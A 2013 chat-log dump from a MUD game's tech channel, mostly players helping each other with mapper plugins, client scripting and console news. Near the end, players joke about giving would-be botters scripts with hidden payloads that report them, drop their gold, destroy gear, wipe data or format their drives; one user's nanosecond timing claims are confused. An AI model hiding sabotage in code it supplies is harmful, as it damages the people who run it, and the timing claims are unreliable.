T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: because in the code i set finely tuned timer points and it requires the code to fire at excactly 9/9/9/24 after the trigger point
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Ayasinda Tech: sounds more like a bot code
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: your welcome to use the code after im done :) its a project im doing and hate towards someone just because there asking for help is kinda rude =/
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Hanslanda Tech: you don't need that fine of tuning for anything in Mush.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: i know i could have made it just plain lua but i wanted to do 1 higher then that
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: nothing wrong with improving something that doesnt need it :p
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Botman Tech: It is if the 'improvements' introduce new bugs or other unintended issues.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: hence the concept of DEbugging a program botman 
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Hanslanda Tech: so what does it do?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Botman Tech: Sometimes bugs slip by all the same.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: 9 what, seconds, opcodes, ticks..?
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: 9/9/9/24 timing drakoth, its an "abbreviated" concept, first 9 is the timing on my GPU, second 9 is the timing on my RAM, third 9 is the timing in my CPU, and the 24 is the combined timing of all of them in 1/1000000000 seconds
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: and before its said, no its not 9 + 9 + 9 = 24 :p its not a linear addition for timing in components
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Hanslanda Tech: I really doubt you can even get that to be consistent.  Processor load is going to affect things.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Hanslanda Tech: especially on the nanosecond scale and beyond.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: well, thats over my head..  good luck! :)
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Hanslanda Tech: besides, hyperaccurate clientside timing is useless if the server's timing mechanism isn't as accurate, as you will end up doing stuff when the game thinks you're still under a timer.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: iw ould have just went with network latency
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: network latency is more inconsitent then component
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: ill explain what i did one sec
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Hanslanda Tech: it's not just network latency, though.  It's not network-related if the local machine is having changeable load issues.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: algorithm goes as such, Input fires timing method - Timing method fires off 3 instant ping's to the target, when the pings are recieved back program continues, unless a single ping returns above 250ms then it sends error "Network LAT to high to proceed"
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Silentdecay Tech: all in all if nobody is into debugging in assembly then no harm done :) this was a nice conversation
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Is there any easy way to completely remap a keyboard? This new keyboard has the \ symbol where I'm used to my alt key being, and I keep hitting it, so I'd like to swap the two keys.
T3/r7/2013-06-22.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: http://www.youtube.com/watch?v=in6RUDIky1Y
T3/r7/2013-06-22.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Win 8, but I'll see if it's applicabale :P Thanks.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: I recently installed winklewinkle's plugin (search and destroy)
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: I tried the 'ah' command, and it sends this 'xmapper' command on my clinet
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: client*. What is that?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Nuanse Tech: type extender help
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Unknown command
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Nuanse Tech: type ww help
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Not much help really
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Nuanse Tech: it's command for winklewinkles mapper extender xmapper =  - uses set movement speed to move to the specified room id
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Do I need to install that separately?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Nuanse Tech: it needs to be there in order to work
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: How do I put it there?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Nuanse Tech: it's in the package you downloaded
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: I donwloaded an xml file
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Nuanse Tech: did you read the instructions?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: For installing it, yes. I can now use the other commands
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Or maybe I should've downloaded the 'triple pack' version
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Nuanse Tech: it's in triplepack, that's for sure :)
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: I see. Will try again. Thanks! (:
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Is there a way to map winklewinkle's plugin if a room is not yet mapped in it?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: winklewinkle's plugin doesn't map anything, the mapper does
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Okay, the mapper
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Elkore Tech: the mapper learns new rooms by walking into them
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Elkore Tech: you have to teach the mapper about any custom exits
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Yeah that, how do I do that? (:
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Elkore Tech: for example: mapper cexit enter hole
T3/r7/2013-06-23.txt.gz:{chan ch=tech}CeriQ Tech: Once it knows there's an exit called enter hole, will it map it automatically?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Provided I'm in the particular room
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: ?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: it maps all rooms you enter, unless they're marked nomap
T3/r7/2013-06-23.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: no, you have to add custom exits yourself
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: if it's not a normal n/s/e/w/u/d exit to get there, then you must tell it how to get there, but the room is mapped even when you don't know how to get there
T3/r7/2013-06-23.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: mapper cexit enter hole
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: the second you're in a room, it's mapped
T3/r7/2013-06-23.txt.gz:{chan ch=tech}CeriQ Tech: I meant, will it understand that I used the "enter hole" exit I just created to get to the new room..
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: that's what the mapper cexit command does
T3/r7/2013-06-23.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: read above
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: the keyword 'mapper' doesnt work on my client. Any idea what keyword would?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Ayasinda Tech: mapper
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Elkore Tech: no, it wont learn how to "enter hole" until you teach it using "mapper cexit enter hole"
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: if winkle works, then mapper works
T3/r7/2013-06-23.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: what client do you have bamboo?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Nvm, it worked. Thanks!
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: hey, don't suppose any europeans in here have any unwanted nintendo "so many games" club nintendo codes that aren't fire emblem or animal crossing?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: When you enter a room thru pass door, will mapper take note of the door too? Like when you don't have passdoor, will it open the door for you?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Provided you entered a room that mapper doesn'
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Provided you entered a room that mapper doesn't know yet*
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Elkore Tech: no
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: the mapper doesn't know what doors are
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: it doesn't know about any doors whatsoever
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Ahh. So one should always teach mapper whenever there's a door
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Elkore Tech: you have to teach it to open doors
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: if you need to open a door, then you make a cexit
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: but to the mapper, it's a cexit and not a door
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: how to do all of this stuff is detailed on the aardMUSH page on the mapper and hosch's guide linked from that page
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: My mapper gets its room speedwalk wrong. What do I do to fix it?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Ayasinda Tech: Why do you think it is getting the speedwalk wrong?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: I'm doing a cp. It shows the room that my mob is in, on a list
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: Vost sits down and thinks deeply. 
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Ayasinda Tech: so far nothing wrong
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: I click on the room (in the list), then mapper runs towards it. A little after half way, it gets lost
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Vost Tech: maze?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: It's like it's missing a turn
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Nope
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Myopic Tech: the mapper will not open doors or other custom exits till you tell it to
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Ontuct Tech: or you made a custom exit and moved before it had time to register
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: look at WHERE it's going wrong...that's likely where you need to fix it
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Ayasinda Tech: mapper where <roomid>
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: is it getting to the right area, or is it messing up first?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Already in the right area
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Entropy, to be exact
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: OK, entropy has custom exits between each layer, and it has doors to open in the beginning
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: the in-room portals being custom exits to the mapper
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Yep, yep
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: make sure that you're opening the doors (or have pdoor on) and have those custom exit portals in the right spot pointing to the right spot
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Already taught it to go through those
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: yeah, but you probably messed one of those up
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Ontuct Tech: sometimes you teach it to go through one, then go one room south. so it skips a room number
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: unless you're getting stopped by the mummies
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Nope, no stopping 
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Made it to "Tlog" layer
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: go to the first room of entropy, then type "mapper where <the ID of the room you're trying to reach>"
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: That's where it messes up, right after I enter the 'safe'
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: that tells you what it's going to try to do
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Ayasinda Tech: did you wait for the confirm after making that cexit?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Right after 'enter safe', it goes 'open up'
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Technically, there's no cexit right from entering the safe
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: as they said, when you make custom exits, you must wait a few seconds in the landing room so that it knows that the custom exit has ended (sometimes it's a mobtrans that takes a bit)
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: So should I just cexit that room?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: To 'west', where it should go?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Ontuct Tech: a simple test would be to purge the room where it fails, then re-explore the exits for that room.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: you need to put a cexit in any room with an in-room portal
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Myopic Tech: you can check cexits with "mapper cexits here"
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: you should get rid of the exit that has open up
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Okay I tried removing the cexit from that room that has 'open up'
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: It's still there. =/
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Myopic Tech: i have "|    entropy | Jewel room           |   29805 | open u
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Myopic Tech: i have "|    entropy | Jewel room           |   29805 | open u(semicolin)u       |   29806 |"
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: I re-mapped the portals
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: I think I may have moved too fast after entering the safe
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: It's fine now. Thanks everyone
T3/r7/2013-06-23.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Anyone got an idea how to retrieve photos and contacts for backup from an iPhone on iOS 4?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Without iTunes...
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Thunderax Tech: with mush, say i update a variable in the first line of an alias, then want to use the updated variable in the second line, how do i go about doing this? at the moment when i do it, it seems to return the old variable until the alias is called again.... anyone know?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: make sure you're setting and using the variable in the same scope
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: and variable = foo is entirely different than SetVariable ()
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: if you use SetVariable, then you access it using GetVariable
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Thunderax Tech: ahh right, got it
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Thunderax Tech: thanks
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Shue Tech: hello. may i know how i can change the blu-ish colour that is seen under Spells in MushClient? Changing Blue in Ansi Colour doesn't seem to have any effects
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Shue Tech: i just realised this is the same colour i am seeing as the Tech text colour. it is hard to read on my eyes
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: it's cyan
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: so you'd change it under cyan in ansi colour
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Shue Tech: so is blue the colour for "(Hum)"?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Ontuct Tech: aqua in nature
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: type "help colors" to see the names associated with standard ANSI
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Shue Tech: okay, i've changed it successfully. thanks for the help
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: you may want to play with just using the "lighter", "darker", "more colour" and "less colour" buttons
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Shue Tech: yup, i did that. just couldn't find the right colour for my spells. loving my new display now :)
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Shue Tech: hi. how do i change my background colour? i changed it successfully but it's now back to black after logging in.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: the background color is a picture, not a color...
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Shue Tech: i already removed the picture
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: https://code.google.com/p/aardwolfclientpackage/wiki/FAQ
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Shue Tech: it was in my desired colour before i logged out. now it's back to black
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tigernuts Tech: is it true that Xbox One will require an internet connection?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Every 24 hours, yes.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: It forces an online check every 24 hours.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tigernuts Tech: damned microsoft nazi's
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: no, it's not true.  Not in the sense you can't play without one.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: It's still required. It's just not an "OMG, your internet is off? HAHA, can't play!"
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: i read M$ has backed down from that
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Not from what I've read.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tigernuts Tech: thought it was the "no, you cannot resell your games or buy them used" that they stepped back from?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: yep backed down from all of that
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Weird, I keep up with tech news and stuff like that, and not once have I read anything to that effect.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}ElFeneri Tech: Sony stepped back from that Tiger. Not sure about MS.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: ElFeneri: Sony wasn't even on the fence with that.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: http://news.xbox.com/2013/06/update
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: They had no plans to go that route.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: but with the every-game-must-have-a-publisher rule (this means self-funded indies won't appear on any of the Xbox platforms), and with indies ruling the roost, chances are the game you want to play won't be on XBox One unless it comes from an established powerhouse/franchise.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh wow, so they did.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: Wildkard nods.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}ElFeneri Tech: I thought they did.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: Book of Etzli shakes his head at ElFeneri.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: It was rumoured at one point, but Sony never confirmed it.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: you can speculate about what they intended all day long
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: did MS back away from the DRM-only stuff?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: "Your feedback matters"... yeah, right. People were bitching about it LONG before E3.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tigernuts Tech: DRM-only?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: they are still going to use DRM just not require internet as part of it or prevent resale etc
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: there was something about used games that I can't quite remember the details of.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}ElFeneri Tech: Etzli, I see.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: used games is one of the things they backed down on
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: I wonder if that includes used media, since it's going to have a bluray player?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: 'Trade-in, lend, resell, gift, and rent disc based games just like you do today'
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: doesn't say anything about movies but I don't see how they could really prevent that
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tigernuts Tech: they tried it on, and saw the massive bad press it was going to get, so they walked back
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tigernuts Tech: this doesn't mean they might try it again in the future
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: their initial anouncement turned me away and them backing down hasn't changed my mind
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: It didn't change my mind, either.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, the XBox One has potential to be massive in the console wars, but Microsoft screwed themselves over for even thinking that way to begin with.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Mye Tech: -n 10
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: Xbox One will only require internet connection upon initial setup
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: They're not doing the 24-hour thing anymore
T3/r7/2013-06-23.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: any way to keep commands sent by triggers/plugins from showing in the main window?(mushclient)
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: (sorry, late to the conversation)
T3/r7/2013-06-23.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: use sendnoecho and send to script instead of world/execute
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: There's an "send to world, no echo" option, rather than a "send to world" option
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: they aren't too particularly concerned about gaming consoles for gaming's sake.  The big reason for even buying XBox One or PS4 is for the other-than-gaming applications they provide as they attempt to declutter the home-theatre market.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: I believe
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: was reading that the navy blasted them for the every 24 hour thing
T3/r7/2013-06-23.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: uhm,in a send to script?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: If you're sending to script, it's not going to appear in the output window in the first place.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: Oh, you mean the script command?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: Probably SendNoEcho()
T3/r7/2013-06-23.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: no,but executes in a sendtoscript would
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: didn't the navy buy like a 100 Xboxes and tie them all together to make a cheap mainframe or something?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: Yeah, that's it.  SendNoEcho("blah")
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: havn't read that one
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: That was PS3s, I believe, Hanslanda
T3/r7/2013-06-23.txt.gz:{chan ch=tech}ElFeneri Tech: Hanslanda, http://scitech.blogs.cnn.com/2009/12/09/military-purchases-2200-ps3s/
T3/r7/2013-06-23.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: so,replace execute with sendnoecho?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: capitalization matters, but yes
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: Although, there's a difference between execute and send
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: execute will be caught by other aliases and such.  Send and SendNoEcho won't.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: dont realy have alias firing triggers,so should be what i need to reduce spam
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: I'm honestly surprised pre-order demand is this high.  Particularly after the lackluster Wii U launch.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tigernuts Tech: people always buy pointless squit
T3/r7/2013-06-23.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: and as far as i know there is no way to execute without an echo besside disabling it entirely
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: So was Sony, evidently, since they significantly raised their sales projections a couple of weeks ago
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: Nods, you can turn echo of commands off, do the execute, and then turn them back on again.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Leinei Tech: Pretty sure there's a function that will do that
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: So what's the deal with Origin? Is that EA's way of saying "screw you steam" or does it serve some other purpose?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i thought origin was EA's knockoff of Uplay but i haven't actually used it so *shrug*
T3/r7/2013-06-23.txt.gz:{chan ch=tech}CeriQ Tech: More of their knockoff of steam.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tynrael Tech: and they get to scan your computer to see whats going on  =)
T3/r7/2013-06-23.txt.gz:{chan ch=tech}CeriQ Tech: And it's a way of saying "We don't want to pay Valve any more, we want to get paid!".
T3/r7/2013-06-23.txt.gz:{chan ch=tech}CeriQ Tech: They did a halfassed job of it though.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Lol, my captcha to register for Origin was "Goodbye life"
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: mis :P
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: why is that so funny?  Remember, you're a longtime aardplayer.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Loreli Tech: I am trying to create an account on the wiki. Per the helpfile instructions, I am leaving the name field blank and putting in the password from the helpful. However, I am not being directed to the page to put in my username and password. Any ideas?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: it was intentionally changed so that the helpfile is now inaccurate.  Send a note to the imms.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Loreli Tech: Thank you Hanslanda.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: What's the link for winkle winkle's plugin again?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: think its in his finger
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Bamboo Tech: Ahh thanks
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: So sad... gone are the days of trying to do things yourself rather than relying on a near-bot to do it for you.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: Book of Etzli begins to shake his head and tsk into nothingness.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Mye Tech: why rely on a near-bot? i hear full bots are better
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: we could fix that, you know.  Be like that annoying fat guy from Jurassic Park, and install malware in our distributables.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Ha. But then you're relying on a clan. *blink*
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Hanslanda.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: I've thought about that before, when a couple people asked me if I'd write a bot for them. I told them "No", but thought that maybe I should, but put hidden easter eggs in it like, "who imm" and "tell <onlineimm> Look, I'm botting. But I don't know it because I asked someone to write a bot for me and they put this in there to screw me over."
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Of course, it'd all be gagged from the screens...
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Or rather, "But I don't know that I'm alerting you"
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: that will probably get you looked at, since there'd probably be no reason to lie to an imm you didn't know was watching that you got the script from Etzli.  Which then makes you have to deal with the thorny issue of why YOU went ahead and knowingly helped someone to break botting rules.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Writing a script is not breaking botting rules. It's the action of utilizing the script that is breaking rules.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, helped someone.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Missed that phrase there. Of course, I'd let the Imms know long beforehand of my intention. :p
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Hanslanda Tech: best to just format the hard drive or wipe out their plugin data (or better yet, found a way to edit them into uselessness) or even hansel-and-gretel away their precious eq.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Book of Etzli Tech: I've thought about that, too, doing "account" and "drop %random(1,accountval) gold", and removing/dropping/saccing gear.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Mye Tech: etzli, will you write a bot script for me? pwetty pwease?
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Wildkard Tech: lol just have them randomly say obscene things on different channels
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: Book of Etzli grins evilly at Mye.
T3/r7/2013-06-23.txt.gz:{chan ch=tech}Tech: Wildkard snickers softly.
